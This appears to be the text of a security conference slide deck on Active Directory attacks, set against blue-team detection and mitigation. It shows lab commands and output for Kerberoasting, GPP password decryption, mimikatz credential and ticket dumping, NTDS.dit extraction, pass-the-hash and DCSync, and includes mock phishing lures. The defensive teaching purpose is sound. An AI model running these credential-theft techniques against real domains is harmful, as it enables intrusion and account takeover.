

Red vs. Blue: Modern Active Directory Attacks, Detection, & Protection



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ABOUT

- ❖ Chief Technology Officer - DAn Solutions
- ❖ Microsoft Certified Master (MCM) Directory Services
- ❖ Security Researcher / Purple Team
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AGENDA

Red Team (Recon, Escalate, Persist)

Blue Team (Detect, Mitigate, Prevent)



CVS and Walmart Canada Are Investigating a Data Breach

Massive breach at health care company Anthem Inc.

21 Carefirst Blue Cross Breach Hits 1.1M

MAY 15

17 **Premiera Blue Cross Breach Exposes Financial,**
MAR 15 **Medical Records**

How the Sony Breach Changes Cybersecurity

Richard Bejtlich and Shuman Ghosemajumder Say the Key Is Limiting Damage

09 **Anthem Breach May Have Started in April 2014**


FEB 15

Neglected Server Provided Entry for JPMorgan Hackers

By MATTHEW GOLDSTEIN , NICOLE PERLROTH and MICHAEL CORKERY DECEMBER 22, 2014 8:41 PM

Perimeter Defenses Are Easily Bypassed





More saving. **More doing.***

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Open this [link](#) to see full information about your order.

Our blessings to you on a Thanksgiving Day!
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[WEEKLY AD](#) | [STORE FINDER](#) | [APPLY FOR THE HOME I](#)

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! SECURITY WARNING Macros have been disabled. [Enable Content](#)

A1 : =foo()

	A	B	C	D	E	F	G
1	#NAME?						
2							
3							

Anthem

BlueCross BlueShield



Cyber Attack Against Anthem

Dear Anthem Client,

We wanted to make you aware of a data breach that may have affected your personal health information and credit card data. The data which was accessed may impact clients who made credit or debit card payments for healthcare or who got treatment during the year 2014.

Your trust is a top priority for Anthem, and we deeply regret the inconvenience this may cause. The privacy and protection of our client's health care information is a matter we take very seriously and we are working diligently to resolve the incident.

To subscribe to a free year of credit card account protection please click on the link below and follow the instructions that will be required:

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[Talk to a Doctor Online >](#)

Verizon DBIR: 2014 Breach Statistics

60%

ATTACKERS ARE ABLE TO COMPROMISE AN ORGANIZATION WITHIN MINUTES.

23% / 11%

OPEN PHISHING MESSAGES / CLICK ON ATTACHMENTS.

50%

OPEN E-MAILS AND CLICK ON PHISHING LINKS WITHIN THE FIRST HOUR.

20%

Incidents related to insider threat

99.9%

EXPLOITED VULNERABILITIES WERE COMPROMISED MORE THAN A YEAR AFTER THE CVE WAS PUBLISHED.

About half of CVEs had PoCs in <1 month

95%

MALWARE TYPES SHOWED UP FOR LESS THAN A MONTH,

70 - 90%

MALWARE SAMPLES ARE UNIQUE TO AN ORGANIZATION.

Red Team (Offense)



Attacker Goals

- ✦ Data Access
- ✦ Exfiltration
- ✦ Persistence

Privilege escalation if needed



PowerShell Overview

- ✦ Dave Kennedy: “Bash for Windows”
- ✦ PowerShell.exe only an entry point into PowerShell

PowerShell	Desktop OS	Server OS
Version 2	Windows 7	Windows 2008 R2
Version 3	Windows 8	Windows 2012
Version 4	Windows 8.1	Windows 2012 R2
Version 5	Windows 10	Windows 2016



PowerShell Weaponized

- ✦ PowerSploit
- ✦ Nishang
- ✦ PowerUp
- ✦ Empire
(*PowershellEmpire.com*)



“SPN Scanning” Service Discovery

- ✦ SQL servers, instances, ports, etc.
 - ✦ *MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433*
- ✦ Exchange Client Access Servers
 - ✦ *exchangeMDB/adsmsEXCAS01.adsecurity.org*
- ✦ RDP
 - ✦ *TERMSERV/adsmsEXCAS01.adsecurity.org*
- ✦ WSMAN/WinRM/PS Remoting
 - ✦ *WSMAN/adsmsEXCAS01.adsecurity.org*
- ✦ Hyper-V Host
 - ✦ *Microsoft Virtual Console Service/adsmsHV01.adsecurity.org*
- ✦ VMWare VCenter
 - ✦ *STS/adsmsVC01.adsecurity.org*



SPN Scanning for MS SQL Servers

```
Domain           : lab.adsecurity.org
ServerName       : adsMSSQL02.lab.adsecurity.org
Port             : 9834
Instance         :
ServiceAccountDN : {CN=svc-adsSQLSA,OU=TestServiceAccounts,DC=lab,DC=adsecurity,DC=org}
OperatingSystem  : {Windows Server 2008 R2 Datacenter}
OSServicePack    : {Service Pack 1}
LastBootup       : 3/8/2015 1:07:25 AM
OSVersion        : {6.1 (7601)}
Description       : {Production SQL Server}
SrvAcctUserID    : svc-adsSQLSA
SrvAcctDescription : SQL Server Service Account
```

Discover-PSMSSQLServers

<https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers>

SPN Scanning for Service Accounts

```
Domain          : lab.adsecurity.org
UserID           : svc-SQLAgent01
PasswordLastSet  : 01/03/2015 18:42:01
LastLogon        : 12/29/2014 00:18:02
Description      :
SPNServers       : {ADSAPPSQL01.lab.adsecurity.org, ADSAPPSQL02.lab.adsecurity.org, ADSAPPSQL03.lab.adsecurity.org}
SPNTypes         : {MSSQLSvc}
ServicePrincipalNames : {MSSQLSvc/ADSAPPSQL01.lab.adsecurity.org:1433, MSSQLSvc/ADSAPPSQL02.lab.adsecurity.org:1433, MSSQLSvc/ADSAPPSQL03.lab.adsecurity.org:1433}
```

Find-PSServiceAccounts

<https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts>


SPN Directory:

http://adsecurity.org/?page_id=183

Cracking Service Account Passwords (Kerberoast)

Request/Save TGS service tickets & crack offline.

- ✦ “Kerberoast” python-based TGS password cracker.
- ✦ No elevated rights required.
- ✦ No traffic sent to target.



Kerberoast: Request TGS Service Ticket

```
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQL/adsdb01.lab.adsecurity.org:1433"

Id                : uuid-928e5eae-f8e6-44ee-9b26-0ddd40e83266-2
SecurityKeys      : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom         : 6/12/2015 1:21:49 AM
ValidTo           : 6/12/2015 11:21:49 AM
ServicePrincipalName : MSSQL/adsdb01.lab.adsecurity.org:1433
SecurityKey       : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

PS C:\> klist

Current LogonId is 0:0x30a265

Cached Tickets: (2)

#0>      Client: JoeUser @ LAB.ADSECURITY.ORG
        Server: krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 6/11/2015 21:21:49 <local>
        End Time: 6/12/2015 7:21:49 <local>
        Renew Time: 6/18/2015 21:21:49 <local>
        Session Key Type: AES-256-CTS-HMAC-SHA1-96

#1>      Client: JoeUser @ LAB.ADSECURITY.ORG
        Server: MSSQL/adsdb01.lab.adsecurity.org:1433 @ LAB.ADSECURITY.ORG
        KerbTicket Encryption Type: RSADSI RC4-HMAC<NT>
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 6/11/2015 21:21:49 <local>
        End Time: 6/12/2015 7:21:49 <local>
        Renew Time: 6/18/2015 21:21:49 <local>
        Session Key Type: RSADSI RC4-HMAC<NT>
```


Kerberoast: Save & Crack TGS Service Ticket

```
mimikatz(powershell) # kerberos::list /export
```

```
[00000000] - 0x00000012 - aes256_hmac
```

```
Start/End/MaxRenew: 6/11/2015 9:21:49 PM ; 6/12/2015 7:21:49 AM ; 6/18/2015 9:21:49 PM
```

```
Server Name       : krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
```

```
Client Name       : JoeUser @ LAB.ADSECURITY.ORG
```

```
Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
```

```
* Saved to file    : 0-40e10000-JoeUser@krbtgt~LAB.ADSECURITY.ORG-LAB.ADSECURITY.ORG.kirbi
```

```
[00000001] - 0x00000017 - rc4_hmac_nt
```

```
Start/End/MaxRenew: 6/11/2015 9:21:49 PM ; 6/12/2015 7:21:49 AM ; 6/18/2015 9:21:49 PM
```

```
Server Name       : MSSQL/adsdb01.lab.adsecurity.org:1433 @ LAB.ADSECURITY.ORG
```

```
Client Name       : JoeUser @ LAB.ADSECURITY.ORG
```

```
Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
```

```
* Saved to file    : 1-40a10000-JoeUser@MSSQL~adsdb01.lab.adsecurity.org~1433-LAB.ADSECURITY.ORG.kirbi
```

```
root@kali:/opt/kerberoast# python tgsrepcrack.py wordlist.txt MSSQL.kirbi
found password for ticket 0: SQL_P@55w0rd#! File: MSSQL.kirbi
All tickets cracked!
```

Blue Team Response: TGS Password Cracking

Detection (noisy):

- Event ID 4769: A Kerberos service ticket was requested

Mitigation:

- Service Account passwords >25 characters
- Use (Group) Managed Service Accounts

Group Policy Preferences Credential Storage

The private key is publicly available on MSDN

- 2.2.1.1 Preferences Policy File Format

- 2.2.1.1.1 Common XML Schema

- 2.2.1.1.2 Outer and Inner Element Names and CLSIDs

- 2.2.1.1.3 Common XML Attributes

- 2.2.1.1.4 Password Encryption**

- 2.2.1.1.5 Expanding Environment Variables

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3>

The 32-byte AES key is as follows:

```
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8  
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
```

<https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx>

Exploiting Group Policy Preferences

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

```
<?xml version="1.0" encoding="utf-8" ?>
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-
  02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
  <Properties action="U" newName="ADSAdmin" fullName="" description=""
  cpassword="RI133B2Wl2CiI0Cau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ'
  changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator
  (built-in)" expires="2015-02-17" />
</User>
</Groups>
```

```
PS C:\temp> Get-DecryptedCpassword 'RI133B2Wl2CiI0Cau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ'
#Super@Secure&Password$2015?
```

Blue Team Response: Exploiting GPP

Detection:

- XML Permission Denied Checks
 - Place xml file in SYSVOL & set Everyone:Deny
 - Audit Access Denied errors
- GPO doesn't exist, no legit reason for access

Mitigation:

- Install KB2962486 on every computer used to manage GPOs
- Delete existing GPP xml files in SYSVOL containing passwords

Pivoting with Local Admin

- ✦ Using GPP Credentials
- ✦ Connect to other computers using ADSAdmin account
- ✦ **Compromise Local Admin creds = Admin rights on all**
- ✦ Always RID 500 – doesn't matter if renamed.
- ✦ Mimikatz for more credentials!



Blue Team Response: Local Admin

Detection:

- Local admin account logon

Mitigation:

- Use Microsoft LAPS (or similar) for automatic local admin password change.
- Deploy KB2871997 on all systems & disallow local account logon across network via GPO.
- Limit workstation to workstation communication.
- Implement network segmentation.

Mimikatz: The Credential Multi-tool

- ✦ **Dump credentials**

- ✦ Windows protected memory (LSASS). *
- ✦ Active Directory Domain Controller database . *

- ✦ **Dump Kerberos tickets**

- ✦ for all users. *
- ✦ for current user.

- ✦ **Credential Injection**

- ✦ Password hash (pass-the-hash)
- ✦ Kerberos ticket (pass-the-ticket)

- ✦ **Generate Silver and/or Golden tickets**

- ✦ **And so much more!**



Dump Credentials with Mimikatz

User

```
mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 5088494 (00000000:004da4ee)
Session           : Interactive from 2
User Name         : hansolo
Domain            : ADSECLAB
SID               : S-1-5-21-1473643419-774954089-2222329127-1107

msv :
* Username : HanSolo
* Domain   : ADSECLAB
* LM       : 6ce8de51bc4919e01987a75d0bbd375a
* NTLM     : 269c0c63a623b2e062dfd861c9b82818
* SHA1     : 660dd1fe6bb94f321fbbd58bfc19a4189228b2bb
tspkg :
* Username : HanSolo
* Domain   : ADSECLAB
* Password : Falcon99!
wdigest :
* Username : HanSolo
* Domain   : ADSECLAB
* Password : Falcon99!
kerberos :
* Username : HanSolo
* Domain   : LAB.ADSECURITY.ORG
* Password : Falcon99!
ssp :
credman :
```




Service Account

```
Authentication Id : 0 ; 2858340 (00000000:002b9d64)
Session           : Service from 0
User Name         : svc-SQLDBEngine01
Domain            : ADSECLAB
SID               : S-1-5-21-1473643419-774954089-2222329127-1607

msv :
* Username : svc-SQLDBEngine01
* Domain   : ADSECLAB
* NTLM     : d0abfc0cb689f4cdc8959a1411499096
* SHA1     : 467f0516e6155eed60668827b0a4dab5eecefacd
tspkg :
* Username : svc-SQLDBEngine01
* Domain   : ADSECLAB
* Password : ThisIsAGoodPassword99!
wdigest :
* Username : svc-SQLDBEngine01
* Domain   : ADSECLAB
* Password : ThisIsAGoodPassword99!
kerberos :
* Username : svc-SQLDBEngine01
* Domain   : LAB.ADSECURITY.ORG
* Password : ThisIsAGoodPassword99!
ssp :
credman :
```


Kerberos “Double Hop” Issue



Kerberos Unconstrained Delegation

ADSDB01 Properties

General | Operating System | Member Of | **Delegation** | Location | Managed By | Dial-in

Delegation is a security-sensitive operation, which allows services to act on behalf of another user.

☐ Do not trust this computer for delegation

☒ **Trust this computer for delegation to any service (Kerberos only)**

☐ Trust this computer for delegation to specified services only

☒ Use Kerberos only

☐ Use any authentication protocol

Services to which this account can present delegated credentials:

Service Type	User or Computer	Port	Service Name
--------------	------------------	------	--------------

☐ Expanded


Add... Remove

Discover Servers Configured with Delegation

```
PS C:\Windows\system32> Import-Module ActiveDirectory
Get-ADComputer -Filter {(TrustedForDelegation -eq $True) -AND (PrimaryGroupID -eq 515) } -Properties
TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description
```

```
Description           :
DistinguishedName      : CN=ADSDB01,OU=Servers,OU=Systems,DC=lab,DC=adsecurity,DC=org
DNSHostName            : ADSDB01.lab.adsecurity.org
Enabled                : True
Name                   : ADSDB01
ObjectClass            : computer
ObjectGUID             : 6bd00906-eb69-4415-9f69-f6694602bbb1
SamAccountName         : ADSDB01$
servicePrincipalName   : {WSMAN/ADSDB01.lab.adsecurity.org, WSMAN/ADSDB01, TERMSRV/ADSDB01,
                        TERMSRV/ADSDB01.lab.adsecurity.org...}
SID                    : S-1-5-21-1583770191-140008446-3268284411-2102
TrustedForDelegation   : True
TrustedToAuthForDelegation : False
UserPrincipalName      :
```


Kerberos Unconstrained Delegation



```
mimikatz(commandline) # sekurlsa::tickets /export
Authentication Id : 0 : 167402 (00000000:00028dea)
Session          : Network from 0
User Name        : LukeSkywalker
Domain          : ADSECLAB
Logon Server     : (null)
Logon Time       : 6/26/2015 10:27:22 PM
SID              : S-1-5-21-1583770191-140008446-3268284411-1109

* Username : LukeSkywalker
* Domain   : LAB.ADSECURITY.ORG
* Password : (null)

Group 0 - Ticket Granting Service

Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 6/26/2015 10:27:22 PM : 6/27/2015 8:27:22 AM : 7/3/2015 10:27:22 PM
Service Name (02) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (--) : @ LAB.ADSECURITY.ORG
Client Name (01) : LukeSkywalker ; @ LAB.ADSECURITY.ORG
Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
Session Key    : 0x00000012 - aes256_hmac
                fe4dc9d3b939242d8d68d08d3088e74f0616bc4b138b8b04e9817ad7f1d51575
Ticket         : 0x00000012 - aes256_hmac ; kvno = 2 [...]
* Saved to file [0;28deal-2-0-60a10000-LukeSkywalker@krbtgt-LAB.ADSECURITY.ORG.kirbi ?

mimikatz(commandline) # kerberos::ptt [0;28deal-2-0-60a10000-LukeSkywalker@krbtgt-LAB.ADSECURITY.ORG.kirbi
0 - File '[0;28deal-2-0-60a10000-LukeSkywalker@krbtgt-LAB.ADSECURITY.ORG.kirbi' : OK

mimikatz(commandline) # exit
Bye!
PS C:\temp\m> klist

Current LogonId is 0:0x2b3d7

Cached Tickets: (1)

#0> Client: LukeSkywalker @ LAB.ADSECURITY.ORG
Server: krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
Kerberos: Encrypted: Luke: AES-256-CTS-HMAC-SHA1-96
```

Exploiting Kerberos Delegation

```
PS C:\temp\m> Enter-PSSession -ComputerName ADSDC02.lab.adsecurity.org
[adsdc02.lab.adsecurity.org]: PS C:\Users\LukeSkywalker\Documents> c:\temp\mimikatz\Mimikatz "privilege::debug"
a::krbtgt" exit

.#####.  mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 29 2015 23:55:17)
.## ^ ##.
## / \ ##  /* * *
## \ / ##   Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
'## v ##'    http://blog.gentilkiwi.com/mimikatz                 (oe.eo)
'#####'                                     with 15 modules * * */

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::krbtgt

Current krbtgt: 6 credentials
* rc4_hmac_nt      : 1a33736fd25ad06dd9c61310173bc326
* rc4_hmac_old     : 1a33736fd25ad06dd9c61310173bc326
* rc4_md4          : 1a33736fd25ad06dd9c61310173bc326
* aes256_hmac      : 20d7c5cef8eae1b478e79e86ecb6ba1cac2819b2ed432fffb32141c5f7104e69e
* aes128_hmac      : 2433f1c6d10a2d466294ff983a625956
* des_cbc_md5      : f1f82968baa1f137
```


Blue Team Response: Kerberos Delegation


Detection:

- Delegation events

Mitigation:

- Only use Kerberos Constrained Delegation
- Disable delegation for admin accounts

Account options:

A screenshot of the Windows 'Account Options' dialog box. It contains four checkboxes. The third checkbox, 'Account is sensitive and cannot be delegated', is checked and highlighted with a yellow rectangular box. The other checkboxes are 'Account is disabled', 'Smart card is required for interactive logon', and 'Use Kerberos DES encryption types for this account'. The dialog has a vertical scrollbar on the right side.

☐ Account is disabled


☐ Smart card is required for interactive logon

☒ Account is sensitive and cannot be delegated

☐ Use Kerberos DES encryption types for this account

Dumping AD Domain Credentials

- ✦ Get access to the NTDS.dit file & extract data.
 - ✦ Copy AD database from remote DC.
 - ✦ Grab AD database copy from backup.
 - ✦ Get Virtual DC data.
- ✦ Dump credentials on DC (local or remote).
 - ✦ Run Mimikatz (WCE, etc) on DC.
 - ✦ Invoke-Mimikatz on DC via PS Remoting.




Finding NTDS.dit on the Network

- ✦ Are your DC backups properly secured?
- ✦ Domain Controller storage?
- ✦ Who administers the virtual server hosting virtual DCs?
- ✦ Are your VMWare/Hyper-V host admins considered Domain Admins?

Hint: They should be.



Dump LSASS Process Memory



The screenshot shows the Windows Task Manager interface with the 'Processes' tab selected. The 'lsass.exe' process is highlighted, and a right-click context menu is open, showing the option 'Create Dump File' selected. To the right of the Task Manager, a terminal window displays the output of the mimikatz tool, showing the successful execution of the 'sekurlsa::minidump' and 'sekurlsa::logonpasswords' commands, resulting in a dump of LSASS memory.

Image ...	User Name	CPU	Mem
conhost.exe	ADSAd...	00	
csrss.exe	SYSTEM	00	
csrss.exe	SYSTEM	00	
dfsr.exe	SYSTEM	00	
dfssvc.exe	SYSTEM	00	
dns.exe	SYSTEM	00	1
dwm.exe	ADSAd...	00	
explorer.exe	ADSAd...	00	1
ismserv.exe	SYSTEM	00	
lsass.exe	SYSTEM	00	1
lsm.exe			
Microsoft...			
mmc.exe			1
mmc.exe			1
msdtc.ex			
powershe			3

```

mimikatz(commandline) # sekurlsa::minidump c:\temp\lsass.dmp
Switch to MINIDUMP : 'c:\temp\lsass.dmp'

mimikatz(commandline) # sekurlsa::logonpasswords
Opening : 'c:\temp\lsass.dmp' file for minidump...

Authentication Id : 0 ; 996 (00000000:000003e4)
Session          : Service from 0
Authentication Id : 0 ; 218943 (00000000:0003573f)
Session          : Interactive from 1
User Name        : ADSAdministrator
Domain           : ADSECLAB
Logon Server      : ADSDC02
Logon Time        : 5/30/2015 11:01:04 PM
SID               : S-1-5-21-1387203482-2957264255-828990924-500

msv :
[00000003] Primary
* Username : ADSAdministrator
* Domain   : ADSECLAB
* LM        : e52cac67419a9a226e7e4a5ff986d116
* NTLM      : 7c08d63a2f48f045971bc2236ed3f3ac
* SHA1      : 05a6fb630c065d50471cd5a30ac5604642a74e31

tspkg :
* Username : ADSAdministrator
* Domain    : ADSECLAB
* Password  : Password99!

wdigest :
* Username : ADSAdministrator
* Domain    : ADSECLAB
* Password  : Password99!

kerberos :
* Username : ADSAdministrator
* Domain    : LAB.ADSECURITY.ORG
* Password  : Password99!
  
```

Dump AD Credentials with Mimikatz

```
mimikatz(powershell) # lsadump::samrpc /patch  
Domain : ADSECLAB / S-1-5-21-1473643419-774954089-2222329127
```

```
RID : 000001f4 (500)  
User : Administrator  
LM :  
NTLM : 6f40d9c1cab7f73d298dc3d94163543d
```

```
RID : 000001f5 (501)  
User : Guest  
LM :  
NTLM :
```

```
RID : 000001f6 (502)  
User : krbtgt  
LM :  
NTLM : 7e2a0e20851d0229f2489210b6576ede
```

```
RID : 000003e8 (1000)  
User : admin  
LM :  
NTLM : 7c08d63a2f48f045971bc2236ed3f3ac
```

```
RID : 00000452 (1106)  
User : LukeSkywalker  
LM :  
NTLM : 177af8ab46321ceef22b4e8376f2dba7
```

```
RID : 00000453 (1107)  
User : HanSolo  
LM :  
NTLM : 269c0c63a623b2e062dfd861c9b82818
```

```
RID : 00000454 (1108)
```


NTDSUtil?

```
PS C:\Users\Administrator.ADSECLAB> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-c1168d2f62e2} generated successfully.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_201503242343_VOLUMEC$\
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} is already mounted.
Initiating DEFRAGMENTATION mode...
    Source Database: C:\$SNAP_201503242343_VOLUMEC$\Windows\NTDS\ntds.dit
    Target Database: c:\temp\Active Directory\ntds.dit

    Defragmentation  Status (% complete)

    0    10    20    30    40    50    60    70    80    90   100
    |----|----|----|----|----|----|----|----|----|----|
    .....

Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
```


Dump Password Hashes from NTDS.dit

```
root@kali:/opt/impacket-0.9.11# secretsdump.py -system /opt/ntds/system.hive -nt
ds /opt/ntds/ntds.dit LOCAL
Impacket v0.9.11 - Copyright 2002-2014 Core Security Technologies

[*] Target system bootKey: 0x47f313875531b01e41a749186116575b
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 0xc84e1ce7a0a057df160a8d8f9b86d98c
[*] Reading and decrypting hashes from /opt/ntds/ntds.dit
ADSDC02$:2101:aad3b435b51404eeaad3b435b51404ee:eaac459f6664fe083b734a1898c9704e:::
ADSDC01$:1000:aad3b435b51404eeaad3b435b51404ee:400c1c111513a3a988671069ef7fee58:::
ADSDC05$:1104:aad3b435b51404eeaad3b435b51404ee:aabbc5e3df7bf11ebcad18b07a065d89:::
ADSDC04$:1105:aad3b435b51404eeaad3b435b51404ee:840c1a91da2670b6d5bd1927e6299f27:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f045971bc2236ed3f3ac:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8a2f1adcdd519a2e515780021d2d178a:::
lab.adsecurity.org\Admin:1103:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f045971bc2236ed3f3ac:::
lab.adsecurity.org\LukeSkywalker:2601:aad3b435b51404eeaad3b435b51404ee:177af8ab46321ceef22b4e8376f2dba7:::
lab.adsecurity.org\HanSolo:2602:aad3b435b51404eeaad3b435b51404ee:269c0c63a623b2e062dfd861c9b82818:::
lab.adsecurity.org\JoeUser:2605:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f045971bc2236ed3f3ac:::
ADSWKWIN7$:2606:aad3b435b51404eeaad3b435b51404ee:70553133c63b5dfffacffa666b75fddb:::
lab.adsecurity.org\ServerAdmin:2607:aad3b435b51404eeaad3b435b51404ee:f980ee4dd5487f4827204ffdd60b63cd:::
lab.adsecurity.org\Nathaniel.Morris:2608:aad3b435b51404eeaad3b435b51404ee:fd40401e4bd2c84c86491f5b70e2f1f6:::
lab.adsecurity.org\Madison.Martinez:2609:aad3b435b51404eeaad3b435b51404ee:fd40401e4bd2c84c86491f5b70e2f1f6:::
lab.adsecurity.org\Kaitlyn.Allen:2610:aad3b435b51404eeaad3b435b51404ee:fd40401e4bd2c84c86491f5b70e2f1f6:::
lab.adsecurity.org\Isabella.Wilson:2611:aad3b435b51404eeaad3b435b51404ee:fd40401e4bd2c84c86491f5b70e2f1f6:::
lab.adsecurity.org\Savannah.Roberts:2612:aad3b435b51404eeaad3b435b51404ee:fd40401e4bd2c84c86491f5b70e2f1f6:::
```


Over Pass the Hash

- ✦ Use the NTLM password hash to get Kerberos ticket(s)

```
ninikatz(commandline) # sekurlsa::pth /user:LukeSkywalker /domain:lab.adsecurity.org /ntlm:177af8ab46321ceef22b4e8376f2dba7ba7
user      : LukeSkywalker
domain    : lab.adsecurity.org
program   : cmd.exe
NTLM      : 177af8ab46321ceef22b4e8376f2dba7
| PID     2936
| TID     2900
| LUID 0 ; 1688016 <00000000:0019c1d0>
| nsvl_0 - data copy @ 000000000000DDAA0 : OK !
| kerberos - data copy @ 0000000000171DD58
| \ aes256_hmac -> null
| \ aes128_hmac -> null
| \ rc4_hmac_nt OK
| \ rc4_hmac_old OK
| \ rc4_md4 OK
| \ rc4_hmac_nt_exp OK
| \ rc4_hmac_old_exp OK
| \ *Password replace -> null
ninikatz #
```

```
Administrator: C:\Windows\system32\cmd.exe
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
adsrkr2\adsadmin


C:\Windows\system32>klist

Current LogonId is 0:0x19c1d0

Cached Tickets: (0)

C:\Windows\system32>net use \\adsrc02.lab.adsecurity.org\admin$
The command completed successfully.
```

Kekeo Tool: DCSync



```
Administrator: Invite de commande
c:\Users\Gentil Kiwi\Desktop>dcsync.exe /domain:lab.local /user:utilisateur

DCSync 1.0
#####
## ^ ## Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
## < ## Vincent LE TOUX ( vincent.letoux@gmail.com )
## v ## http://blog.gentilkiwi.com
##### http://www.mysmartlogon.com

[DC] 'utilisateur' will be the user account
[DC] 'lab.local' will be the domain
[DC] 'dc.lab.local' will be the main server

SAM Username : utilisateur
User Principal Name : utilisateur@lab.local
Object RDN : utilisateur
Account Type : 300000000
Account expiration : 03/08/2015 00:47:12
Password last change : 5-1-5-21-130452501-2365100805-3685010670-502
Object Security ID : 1104

Credentials:
NTLM: c3056561536c54df11f9302ced686591

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : LAB.LOCALutilisateur
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 046f9e75475
aes128_hmac (4096) : 6c2663b4f1
des_cbc_md5 (4096) : 04b352f1383202ea

* Packages *
Kerberos-Newer-Keys

* Primary:MDigest *
01 0ced94a1a3bc01f0d10b099d8e8ada70
02 4676b1e770c74c1e605a119ddb0e0f1f
03 0fc6c25b4978a8f96ec1a1a1b903c34
04 0ced94a1a3bc01f0d10b099d8e8ada70
05 4676b1e770c74c1e605a119ddb0e0f1f
06 13653c9bfc4b1ae4a13d7ec1251607bc
07 0ced94a1a3bc01f0d10b099d8e8ada70
08 4822e99e1f1c1af293ed0dc038cdf
09 4822e99e1f1c1af293ed0dc038cdf
10 b4e581e618c8e00b740e1c71d660853d

Administrator: Invite de commande
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Tous droits réservés.

c:\security>cd "c:\Users\Gentil Kiwi\Desktop"

c:\Users\Gentil Kiwi\Desktop>dcsync.exe /domain:lab.local /user:LAB\krbtgt

DCSync 1.0
#####
## ^ ## Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
## < ## Vincent LE TOUX ( vincent.letoux@gmail.com )
## v ## http://blog.gentilkiwi.com
##### http://www.mysmartlogon.com

[DC] 'LAB\krbtgt' will be the user account
[DC] 'lab.local' will be the domain
[DC] 'dc.lab.local' will be the main server

SAM Username : krbtgt
Object RDN : krbtgt
Account Type : 300000000
Account expiration : 03/08/2015 00:16:20
Password last change : 5-1-5-21-130452501-2365100805-3685010670-502
Object Security ID : 502

Credentials:
NTLM: ac/ed191963b9cfb5ed19213b72a623c

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : LAB.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 7d053cc800c1c6ce2a53b22d44d02ef7da9b6f4b86
aes128_hmac (4096) : 402a6fc42ab37b76cfda874ceba1f392
des_cbc_md5 (4096) : 3eb33401e3b63420

* Packages *
Kerberos-Newer-Keys

* Primary:MDigest *
01 685c7de04123ff32f1d3ab3a3d8b5869
```



Benjamin Delpy @gentilkiwi · 22h

Moar Keys!#dcsync #kekeo

- * Supplemental Credentials (Kerb)
- * FQDN, domain & short name support



**Impersonate a Domain Controller
to get password hashes!**

